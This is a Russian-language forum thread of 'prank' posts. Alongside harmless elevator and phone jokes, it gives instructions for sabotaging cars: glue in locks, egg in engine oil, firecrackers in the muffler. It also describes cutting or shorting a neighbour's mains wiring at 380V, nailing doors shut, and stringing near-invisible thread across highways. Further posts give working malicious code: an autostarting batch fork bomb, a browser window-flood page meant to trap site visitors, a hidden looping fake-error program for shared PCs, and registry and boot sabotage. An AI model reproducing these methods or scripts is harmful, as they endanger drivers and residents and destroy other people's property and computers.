SoftoRooM LifeRooM Whois RSS GZip WAP Поиск Правила Помощь Disclaimer
Твой софтовый форумТвой софтовый форумТвой софтовый форумТвой софтовый форум

Здравствуйте, Гость ( Вход | Регистрация )

Гадим ближним и дальним

Вид темы: Стандартный · [ Линейный ] · Режимы сортировки: [ По возрастанию (0-9) ] · По убыванию (9-0)

> Гадим ближним и дальним, а также шутим и всячески прикалываемся


 
post 10.04.2004 - 21:23
Отправлено #1
ViolentOr



Unregistered


Профиль












18 способов нагадить автолюбителю

Прежде чем мы с тобой начнем дебоширить, стоит решить, чего потенциально делать не надо:

-Не надо отламывать всякие детали (спойлеры и прочие бамперы) и бить оптику - кроме дикой злобы и милицейского наезда во двор ничего не будет.
-Не надо пихать в замочные скважины спички - это пошло и пахнет деревней.
-Не надо снимать дворники - если попадешься, то тебя еще и в нелепом воровстве обвинят.
-Не надо прокалывать шины - зло, неоригинально, и, кроме того, неизвестно, когда теперь этот хрен сможет убрать свою машину из - под окон.
-Не надо расписывать автомобиль баллончиком или маркером - если хочешь написать где - нибудь слово из трех букв, сделай это у себя на лбу.
А что же можно делать? - спросишь ты...
Хе - хе! Наблюдай! Прислушивайся и впитывай!!!!!

Способ нулевой

Нулевой - значит простейший, наибанальнейший, но - действенный. Тебе не нравится машина
соседа под окном? Продай ее! И неважно вовсе, что эта развалюха тебе не принадлежит. Главное - знать телефон владельца тачки и хотя бы марку машины (цвет ты, я думаю, разглядишь без моей помощи). Берешь купон "Из рук в руки" или любой другой похожей
газеты и заполняешь. Например: "продам автомобиль ВАЗ -2106, цвета "бежевый удав", в отличном состоянии, цена 150$". И вписываешь телефон соседа для ответа. Относишь купон на почту - и можешь не сомневаться, уже через неделю после выхода газеты твой сосед будет на седьмом небе от счастья.

Способ первый

Предположим, сосед на своем кандибобере постоянно приезжает к тебе во двор в три часа ночи с орущей музыкой типа "Ноги Вниз!" и, громко бибикая, паркуется, поднимая на ноги весь подъезд. На таких перцев очень хорошо действует следующий простой рецепт. Покупается десятка три маленьких
дешевых петард, и затем они последовательно запихиваются соседу в глушитель (желательно какой - нибудь палочкой пропихнуть их в резонатор - иначе их выбьет выхлопом, и только - то). Машина заводится, стартует, температура в глушаке постепенно растет ...Эффект (особенно в отечественных
автомобилях) - громоподобный.
З. Ы. ВНИМАНИЕ!!! Глушак может и разорвать, и тогда, если узнают, что это ты - порвут как грелку. Способ экстремальный и подходит только как "в крайнем случае".

Способы второй, третий, четвертый и пятый - взаимосвязанные

Покупается некоторое (в зависимости от целей) количество суперклея - с его помощью можно много полезного с соседским автомобилем сделать. Здесь только четыре варианта, остальное додумай сам.
Суперклей вливается в максимально возможных объемах в замочные скважины автомобиля - ей владелец долго пытается понять, почему его ключ больше не подходит.
Суперклеем приклеиваются дворники (без комментариев).
Счастливому обладателю спойлера на этот самый спойлер суперклеем приклеиваются: одноразовый стаканчик, тарелка, вилка и нож. В стаканчик наливается пиво, на тарелку кладется арбуз. Красиво и
эстетично.
АХТУНГ! Последний способ из сей категории годится для отечественных авто, у которых крышка горловины топливного бака не закрывается на ключ. Скручиваем крышку, намазываем резьбу суперклеем. Закручиваем крышку обратно. Все, приехали.

Способы с яйцами - шестой, седьмой и восьмой

Про яйца я тебе могу рассказать много. Например, вот что: вычитал однажды в журнале "Столица" - был такой рулезный принт когда-то - вот такой вот зимний заподлянский способ. В тридцатиградусный мороз берется яйцо (можно тухлое) и кидается на крышу автомобиля. Там разбивается, примерзает, естественно, а весной сходит только вместе с краской. Прощай, стало быть, крыша.
Если крышу жалко, то можно погадить в салоне авто. Яйцо (только свежее!) втягивается в обычный медицинский шприц и в салоне машины вгоняется под обивку сидений. Оно стухнет где - то через три
- четыре дня, и придется либо продавать машину, либо, как минимум, менять салон. По крайней мере, ездить в этой машине будет практически невозможно.
Ну и последний метод с яйцом - для счастливчиков, заимевших доступ к двигателю. На крышке мотора откручиваешь горловину, в которую масло заливают, и выливаешь туда яйцо (без скорлупы). Двигатель заводится и работает нормально где-то полчаса, после этого с вероятностью 70% клинит. Диагноз в любом автосервисе - "эээ... да у вас тут это... масло минеральное... давно меняли - то?... Ну вот, оно у вас свернулось... Ну, надо мотор другой покупать...". Опять же, последний способ "крайний", т. к. это уже не шуточки, а реально крупное западло.

Способы девятый и десятый - для художественно одаренных

Итак: для начала берется вазелин - сия нежная субстанция, по слухам, - любимица секс - меньшинств, но сейчас это неважно. Берется вазелин и им густо намазываются дверные ручки водителя и возможных
пассажиров. Способ, в сущности, безобидный, но зато, по слухам, весьма громкий (жертва орет так, что хоть святых выноси ). Вазелин ничего не испортит, но и так вот запросто не отмоется.
А следующий художественный способ тоже весьма простой - берем гуашь и черным цветом
малюем по этим же самым дверным ручкам. Это называется "руки трубочиста". Отмывается гуашь отвратительно. Ею же, кстати, приятно намазать дворники (можно красным цветом - выглядит как сбитая бабушка) или просто капот (слово из трех букв не предлагать).

Способ одиннадцатый

Нужна канистра старого масла (может оказаться в ближайшем автосервисе). Берем ее и втихаря выливаем содержимое под морду соседского автомобиля. Обеспечены полчаса пантомимы "Як - истребитель", в которой сосед будет искать под авто источник утечки масла (страшно же движок завести - а вдруг стуканет, без масла - то).

Способы двенадцатый и тринадцатый - мелкопакостные

Берем моток толстой рыболовной лески и приматываем как можно большим количеством оборотов бампер автомобиля жертвы к бамперу рядом стоящего автомобиля. Сматываем две тачки леской, короче. Если хоть один из бамперов не оторвется, то, по крайней мере, леска громко хлопнет.
Для другого способа нужна плоская отвертка. Скручиваем номера у двух соседних машин (только по одному номеру с каждой, иначе смысл прикола пропадает) и меняем местами. Вот прикольно, когда у машины передний номер 50 рус, а задний - 99 рус! Ты тоже так думаешь? Во - во, и гаишники (их бин ГИБДДшники) тоже так думают.

Способы четырнадцатый и пятнадцатый, а также шестнадцатый - дачно - деревенские и, в общем - то, беззлобные

Ночью на даче, как известно, делать нечего. Причем настолько нечего, что люди идут на разные извратные развлечения.
Вот, например: нарезаются крупные ветки придорожных кустов. Из них, с помощью огрызков веревки, делаются подобия снопов - получаются, грубо говоря, такие смотанные пачки веток, которые сами могут стоять вертикально. Полученные снопы выставляются на середину дороги и ... Остается только ждать. Как правило, в свете ночных фар снопы выглядят чуть ли не лесом, который растет прямо посередине шоссе. Отличный способ заставить водителей НЕ СПАТЬ!
Еще приятная фича: берется капроновая нитка, натирается воском, натягивается поперек шоссе.
В дальнем свете выглядит как толстенный трос. Паника в рядах водил гарантируется.
Go to the top of the pageGo to the end of the page
+Quote Post

5 Страницы  1 2 3 > »  
Reply to this topicStart new topicStart Poll
Ответов(1 - 9)
 
post 10.04.2004 - 21:24
Отправлено #2
ViolentOr



Unregistered


Профиль












Шесть с половиной эффективных способов глушения магнитофона этажом ниже/выше: 1. (гуманный) Выходишь на лестницу, спускаешься/поднимаешься на нужный этаж, открываешь распределительный щиток, выворачиваешь пробку соседа, оставляешь ее в щитке и быстро поднимаешься/спускаешься к себе домой. (гарантирует минимум 10 минут тишины).
2. (менее гуманный) Выходишь на лестницу, спускаешься/поднимаешься на нужный этаж, открываешь распределительный щиток, выворачиваешь пробку соседа, кидаешь ее в лестничный проем и быстро поднимаешься/спускаешься к себе. (гарантирует минимум 20 минут тишины).
3. (еще все-таки гуманный) Выходишь на лестницу, спускаешься/поднимаешься на нужный этаж, открываешь распределительный щиток, выворачиваешь пробку соседа, кладешь ее себе в карман и быстро поднимаешься/спускаешься к себе. (гарантирует минимум 30 минут тишины).
3а. (уже не гуманный) Если есть в наличии дюбельный пистолет, то можно его захватить с собой и перед уходом вбить пару дюбелей в соседскую дверь, так, чтобы дюбель вошел наискосок и прихватил дверной косяк к коробке. Некоторые вместо пистолета используют металлическую планку с просверленными отверстиями + электроотвертку и импортные саморезы. Истинные же профессионалы используют кувалду и длинный гвоздь. В случае наличия у соседа железной двери - очень эффективен термический сварочный карандаш (~500руб в автомагазинах) или переносной сварочный аппарат. (значительно продлевает время тишины).
4. (не гуманный) Берешь мощные кусачки с хорошей изоляцией на рукоятках и отвертку с индикатором, выходишь на лестницу, спускаешься/поднимаешься на нужный этаж, открываешь распределительный щиток, выясняешь индикатором фазовый провод идущий в соседскую квартиру, перекусываешь его кусачками и быстро поднимаешься/спускаешься к себе. также возможно применение дополнения 3а. (гарантирует минимум 200 минут тишины).
5. (антигуманный, применение крайне не рекомендуется) Берешь мощные кусачки с хорошей изоляцией, отвертку с индикатором, кусок очень толстого провода с оголенными концами и хорошей изоляцией, резиновые перчатки, выходишь на лестницу, спускаешься/поднимаешься на нужный этаж, открываешь распределительный щиток, выясняешь индикатором нулевой провод идущий в соседскую квартиру, перекусываешь его кусачками, куском толстого провода закорачиваешь обрывок нулевого провода идущий в соседскую квартиру со второй фазой (находишь на щитке), (для тех, кто не знает: напряжение между фазой и землёй 220V, а между двумя фазами 380V, естественно от 380V магнитофон сгорит) ждешь 5-10 секунд и очень быстро поднимаешься/спускаешься к себе. Также возможно применение дополнения 3а. (гарантирует минимум 1200 минут тишины).
6. (крайне высокоэффективный) Берешь гранатомет "Муха"... (гарантирует тишину на очень долгое время).
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:25
Отправлено #3
ViolentOr



Unregistered


Профиль












Как развлечь себя в лифте:
1. Расскажите пассажирам, как вы однажды застряли в лифте и просидели там 12 часов, пока не подоспела помощь.
2. Обхватите голову руками и воскликните: "Да заткнитесь вы все, идиоты!"
3. Просвистите гимн Советского Союза.
4. Приоткройте вашу сумку и, украдкой туда заглянув, спросите: "Ну как, хватает воздуха?"
5. Стойте молча и не шевелясь, отвернувшись лицом в угол, и не выходите.
6. Приветствуйте каждого входящего в лифт дружеским рукопожатием и просите называть вас адмиралом.
7. Когда в кабине лифта наберется по меньшей мере 8 человек, прикрывая рот руками, сгибаясь и хватаясь за других, закричите: "Только не сейчас, опять, блин... всегда рвет в лифте!"
8. Время от времени мяучьте.
9. Предложите 10 долларов тому, кто засунет и вынет лампочку изо рта.
10. Сучите ногами и приговаривайте: "Скорей, скорей, скорей." Затем огорченно вздохните и скажите: "Поздно!"
11. Покажите всем свою болячку и спросите: "Как вы думаете, это заразно?"
12. Положите себе в карман что-нибудь увесистое (по типу пистолета) и периодически по нему похлопывайте.
13. Войдите с каким-нибудь контейнером с надписью "Человеческий орган - голова".
14. Пристально уставьтесь на какого-нибудь пассажира, затем скажите: "А, вы один из НИХ!" и демонстративно перейдите в дальний угол лифта.
15. Отрыгнув, скажите: "мммм... вкусно!"
16. Когда станет тихо, оглядитесь кругом и спросите: "Это не ваш пейджер?"
17. Прослушивайте стены лифта при помощи стетоскопа.
18. Hарисуйте небольшой квадрат на полу и скажите, что это ваше место.
19. Объявите всем демоническим голосом: "Я должен вселиться в более подходящее тело."
20. Рассматривайте других пассажиров в бинокль.
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:28
Отправлено #4
ViolentOr



Unregistered


Профиль












1. Розыгрыш с яйцом. "Открыть любую дверь. Нужно, чтобы между дверью и косяком, там где петли, можно было просунуть пальцы. Заранее приготовить сырое куриное яйцо. Требуется уговорить "объект" просунуть пальцы в щель и взять ими яйцо. Хорошо, если яйцо будет располагаться с внутренней стороны, и это будет комната "объекта". Яйцо вручить и уйти:.."

2. Розыгрыш с табличками. "В учреждении, где много посетителей, разместить табличку с указанием туалета на двери совершенно другого помещения. Желательно, чтобы работники, находящиеся в этом помещении, как можно реже выходили наружу - так дольше провесит Ваша табличка, и тем дольше работники будут наблюдать стремительно забегающих, столбенеющих и выбегающих людей. Особенно, если поместить указатель женского туалета. Можно изготовить несколько стрелок указателей, чтобы люди находили дорогу к псевдотуалету. Можно вместо надписи "туалет" использовать надпись "буфет" - работникам придётся очень много раз объяснять, что тут не буфет, а например, лаборантская."

3. Розыгрыш с верёвкой. "Взять длинную верёвку и найти небольшой отдельно стоящий дом. Проходящего мимо человека попросить под любым предлогом подержать конец верёвки. С другим концом верёвки отправиться вокруг дома и, обойдя почти полностью, попросить другого человека подержать уже этот конец верёвки. Верёвку попросить сильно натянуть и уйти. Что получается? Эти люди друг друга не видят , им мешает угол ( вы видите их обоих ), и верёвку они бросить не могут - ведь их попросили подержать. Чем это кончится? Попробуйте, узнаете."

4. Розыгрыш по телефону. "Допустим, в Вашем коллективе появилась новая молоденькая секретарша. Зрители, посвящённые в розыгрыш, наблюдают за её поведением. Кто-либо из соседней комнаты звонит секретарю и как можно более серьёзным голосом сообщает о том, что звонят с телефонной станции, и сейчас в целях очистки проводов по телефонному каналу будет подан горячий пар под давлением. Поэтому нужно очень быстро закутать все телефонные трубки в офисе полиэтиленом или бумагой (или положить их на пол). Все сидят и смотрят: Самое главное - произнести это серьёзно и быстро. Ну и секретарша должна быть достаточно доверчивой."

5. Розыгрыш с "манекеном". "Выбрать "объект" розыгрыша. Это может быть сосед или соседка по комнате или кабинету. Комната должна находиться минимум на 2 этаже. На глазах "объекта" необходимо некоторое время просидеть у открытого окна на подоконнике. В какой-то момент, когда "объект" не смотрит на вас, вы должны спрятаться или бесшумно покинуть комнату. Одновременно с этим ваш помощник на улице под окном выкладывает чучело - одежда как у вас набита бумагой для объёма (яркая майка и т.д.) - и фанеру под цвет асфальта с нарисованным пятном "крови". Затем он кричит ваше имя со словами : "Разбился, разбился, помогите::.". Помощник, находящийся в комнате, и "объект" подбегают к окну и видят ваше тело на асфальте. Помощник предлагает спуститься и помочь вам, если это ещё возможно. Когда они убегают, вы возвращаетесь в комнату на своё место и сидите как ни в чём не бывало. Пока "объект" бежит вниз, "тело" и фанера убираются. "Объект" ничего не понимает. Помощник говорит, что тело, наверное, уже убрали. Они возвращаются в комнату, и "объект" видит вас - немая сцена::.."
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:29
Отправлено #5
ViolentOr



Unregistered


Профиль












ПЕРВАЯ БРАЧНАЯ НОЧЬ
"Этот розыгрыш годится как для трезвой, а лучше не совсем трезвой компании.
Инициатор конкурса предлагает кому либо из присутствующих проверить
координацию (степень опьянения, глазомер и т.д.). На листе бумаги ставятся
пять точек , образующих квадрат с точкой внутри (примерно, как сложенный по
чтовый конверт). Лист ложится на стол, напротив ставится зеркало , и
подопытному предлагается, глядя на отражение листа в зеркале, соединить все
точки между собой, по возможности не разорвав линию (это не так просто, как
вы думаете, даже трезвому ). Чтобы жертва эксперимента не подсматривала,
кто-либо из зрителей закрывает листом бумаги сам рисунок так, чтобы было
видно только отражение. В процессе рисования жертва честно старается
провести линии поровнее и издает самые разнообразные звуки,
свидетельствующие о трудности задания типа: "Не попал..., Опять не попал...
Чего ржете, сами попробуйте..., Трудно, вспотел даже ...и т.д.". Задача
ведущего записать все фразы, слова, предложения и звуки, которые издает
испытуемый, и по окончании зачитать все вслух под заголовком "Как И.
(испытуемый) провел первую брачную ночь". Обычно все заканчивается всеобщим
посмешищем, после чего ищется очередной доброволец, а количество зрителей
увеличивается на 1. А так как зрители уже в курсе дела, то каждая фраза
нового добровольца приветствуется всеобщим ржанием.
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:30
Отправлено #6
ViolentOr



Unregistered


Профиль












Так вот, рекурсия - это когда кто-нибудь вызывает сам себя. Например: запускаешь две Аськи у себя на компе (русскую и английскую, чтобы друг друга не видели) и начинаешь сам себе мессаги слать. Но я не о том. Ты, конечно же, знаешь, что всеми любимый MustDie очень требователен к железу (и вообще к ресурсам компа), так вот, используя рекурсию, мы поставим MD на колени.

1. Ну, для разминочки делаем на винте файл с именем "die.bat" и пишем в него следующие пять строчек:

@echo off
:metka
@start die.bat
@echo -----NAME RULEZZZzzz FOREVER-----
@goto metka

Где NAME - это твое имя. Хочешь посмотреть, что будет? Мой тебе совет, перед запуском этого файла сохрани все важные документы, а то, не дай Гейтс, все сотрешь. И еще, если скопировать этот файл в каталог Форточек и в файле "win.ini", в самом начале, после строчки "[windows]", написать команду "run=die.bat", то этот файл будет загружаться при каждом запуске Форточек.

2. Если добавить пару строчек в этот файлик:

@echo off
@echo -----NAME RULEZZZzzz FOREVER-----
@echo @echo off >> c:\autoexec.bat
@echo :metka >> c:\autoexec.bat
@echo @start c:\autoexec.bat >> c:\autoexec.bat
@echo @goto metka >> c:\autoexec.bat

И запустить его, то после перезагрузки компа ты больше никогда не кликнешь на этой прекрасной кнопке "Пуск" и не подвинешь курсор мыши к кнопке закрытия окна...

3. Но это все отстой! Попробуй-ка это:

<script> </p>
<p>now(); </p>
<p>function now(){for (i=1;i>0;i++){open('die.htm','new'+i);}} </p>
<p></script>

Сохрани эту чушь под именем "die.htm" и посмотри, как корчится твой броузер, пытаясь открыть очередное окно . Кстати, если у тебя есть своя страничка в инете, можешь прикольнуться написав чего-нибудь типа "ПОСТОРОННИМ ВХОД ВОСПРЕЩЕН" и поставив ссылку на этот файл. Любопытный юзверь ломанется туда, а там опа... и все...
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:30
Отправлено #7
ViolentOr



Unregistered


Профиль












Mетод нумбер один - программный:

Если на экране появляется мессага с предупреждением и непонятными символами, то глупый юзверь думает, что винды глючат
Пишем маленькую прогу на VB, так как VB стоит почти во всех универах на всех компах. Ибо VB помогает познать глючный и тормозной мир виндов

Private Sub UserForm_Activate()
10 MsgBox ("CPU Fatal Error!"), vbCritical
goto 10
End Sub

Просто и коварно одновременно если кинешь ты енту прогу в автозагрузку или писанешь в реестр. Вешаешь прогу в библиотеке или в компутерном классе и через пару дней они завоют, Я тебе обещаю и позовут сисадмина, который это удалит. Надо позаботиться теперь о ламеростойкости нашей проги. Не забудь убрать ее из панели задач. Для этого в свойствах формы поставь ShowInTaskBar = False и спрячь форму. Для этого в свойствах формы измени Form.Visible = True на False.

Метод нумбер два - да поможет нам винда!

Лезем в Internet Options и там мы делаем следующее:

1. В последней закладке все делаем наоборот, т.е., где галочка там не галочка, а где не галочка там галочка . Или делаем, чтоб не грузились картинки, нечего на порнуху глазеть ламухам.
2. Можешь сменить адрес вашего прокси и, когда ламухи обломаются и разбегутся, спокойно сядь за пустой комп, смени проксю назад и спокойно лезь в инет.
3. На загрузку в браузере поставь сайт с реальной порнухой можно не с людьми
4. Просто удали Експлорер.
Предупреждение! Не переборщи и не комбинируй методы.
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:31
Отправлено #8
ViolentOr



Unregistered


Профиль












1) Всё начинается как всегда с HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/Shutdown вы, наверно, уже поняли, о чем будет разговор.
Конечно, все связанное с выключением нашей железяки (гы-гы-гы) в строковом параметре FastReboot стоит значение "0". Ну не долго думая, меняем его на "1" и получаем интересную историю. Когда мы будем делать компутеру Shut Down (в переводе с буржуйского - СПАТЬ!!!), он будет перезагружаться.

2) Если у вас стоит Win98, то екстрактаете RESTART.COM из c:\_windir_\command\ebd.cab\ и ставите его первой строкой в AUTOEXECе, после чего делаете его READ ONLY

3) Записываем прогу в MBR, ставим jmp на конец придельно допустимого сигмента памяти в досе, и ваш компьютер даже после формата винта будет перегружаться пожизненно... !!!

4) В system.ini в строчке mouse.drv=mouse.drv удаляем вторую половину и оставляем вот так mouse.drv= Эффект тот же ShutDown. Но гораздо злее.......... Под вынь98 работает безотказно.

5) Прикол с винтом. Во многих школах обычно стоят древние компы с Windows 95 (Fat-16). Соответственно грех этим не воспользоваться . Для западла понадобится только встроенная программа форточки DriveSpace ("Сжатие диска"). Запускаешь это прогу на уплотнение диска. А когда процесс уплотнения будет в разгаре, просто ненавязчиво ткни на Reset . Долгий полет винта обеспечен ).

6) Шутка с ресетом неплохая, но не всегда срабатывает. Для профилактики надо во время процесса достать шнур из розетки, выключить комп, затем вставить и включить. Эффект тот же, что и выключенного компа при формате.

7) Во время оптимизации реестра под досом нажать RESET - эффект такой-жа, тока возни потом больше. З.Ы. проверено электроникой
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:33
Отправлено #9
ViolentOr



Unregistered


Профиль












Телефонный приколы:

Звоните по любому номеру телефона:
Берут трубку: "Аллo."
Вы: "Здраствуйте, проверка связи. Постучите пожалуйста по трубке."
Стучат.
Вы: "А теперь по голове."

(Реальный факт)
Глубокой ночью звоните кому угодно. В ответ на сонное "Алё?" Устало-презрительно (как в разговоре с давно доставшим дебилом):
- Идиот, это в дверь звонят...
Реальный факт имел место быть - результат восхитительный. Жертва, правда, ищет обидчика до сих пор (прошло немало времени), вынашивая самые кровожадные планы.
______________________________________________

Не помню уж где вычитал прикол. Устраивали в общаге - прошел на ура. Необходимо: веселая компания - 1 шт., видеокамера - 1шт, видеомагнитофон - 1 шт, туалет - 1шт.
Предварительно снимаешь на касету вид туалета откуда-нибудь сверху (мин 10-15 достаточно) или зафиксируйте камеру, или постарайтесь чтобы картинка не дрожала. Перед приходом гостей устанавливаем касету в магнитифин. Когда один из компании выходит в туалет, быстро объясняем фишку другим и включаем магнитофон. Пришедшего встречаем дружным ржанием тыкая пальцем в экран телевизора. Проделывать со своей девушкой не рекомендую...
______________________________________________

Качаем из инета любой кейМейкер (прогу меняющую расскладку клавы)
Ну а дальше меняем "QWERTY" на шо угодно!
Прит чем кнопки на клаве тоже желательно переставить под новую расскладку!
Эффект просто обалденный!
Так мои коллеги надо мной подшутили!
После того как 3 раза подряд пассворд набранный в слепую неподошел - я начал его набирать глядя на клаву!
Когда я по несколько минут искал кнопку - у меня закралась мысль что с головой что-то не то и последняя бутылка коньяка - явно - была лишней!
________________________________________________

Вот одна идейка которая мне в голову пришла по поводу первого апреля. Например есть помещение в которое все часто ходят а там дверь с доводчиком. Ежедневно подкурчиваем по чуточке доводчик чтобы дверь потуже открывалась. Так незаметно народ станет прикладывать бОльшее усилие при открытии двери. А первого апреля ослабить доводчик до минимума. То то грохоту будет
Go to the top of the pageGo to the end of the page
+Quote Post

 
post 10.04.2004 - 21:34
Отправлено #10
ViolentOr



Unregistered


Профиль












20 признаков того, что наступило 1 апреля

Нижеприведенный набор нехитрых правил надежно убережет вас от глумления друзей, соседей и прочих сволочей на протяжении этого богатого сюрпризами дня, а также подскажет, как именно следует портить нервы собственным недругам, буде таковые имеются. Итак...

1. Вы просыпаетесь в парке на лавочке. Вся ваша одежда куда-то исчезла.
2. Кое-как добравшись до дома, обнаруживаете в дверях записку: «Скотина, я от тебя ухожу». Вдоволь нагоревавшись, вспоминаете, что не женаты.
3. Ваш кот лежит на кухонном столе и делает вид, что уже три дня как умер.
4. На автоответчике оставлено не менее пяти сообщений а-ля «я беременна»…
5. …после которых идут два-три сообщения от известных кинозвёзд с предложением отужинать сегодня в интимной обстановке.
6. По дороге на работу вас трижды штрафуют за «нецензурное выражение лица».
7. Охрана не хочет впускать вас через проходную завода, мотивируя это тем, что ваши ботинки не вполне подходят к галстуку.
8. На рабочем столе лежит приказ о вашем увольнении, подписанный Папой Римским.
9. В ящик стола, где вы держите валидол, кто-то подложил мышеловку.
10. На дверях медпункта висит издевательский плакат: «Надо было смотреть, куда руки суешь».
11. Во время обеденного перерыва кто-то звонит и взволнованно орёт в трубку, что из окна вашей квартиры валит густой дым.
12. Пока вы набираете 01, кто-то успевает подсыпать в чай слабительное.
13. В мужском туалете отсутствует бумага, а сиденье оказывается намазанным клеем.
14. Вам звонят по рабочему телефону и сообщают об успешном тушении пожара.
15. Через некоторое время звонят на мобильник и дают понять, что вы стали жертвой розыгрыша – на самом деле ничего не горело, а просто в вашей квартире прорвало воду и залило три этажа.
16. В конце рабочего дня охрана не выпускает вас, требуя «предъявить истинное лицо, а маску идиота снять».
17. Во время поездки в метро чья-то заботливая рука кладёт в ваш карман петарду с длинным фитилем.
18. Домашний почтовый ящик забит письмами счастья, повестками в суд и телеграммами о смерти любимой бабушки, которой у вас нет.
19. В вашем подъезде на ступеньках кто-то разлил жидкую известь.
20. У вас вся спина белая.
Go to the top of the pageGo to the end of the page
+Quote Post


Reply to this topicTopic OptionsStart new topic
 


Сейчас: 4.12.2016 - 17:16
LITE - версия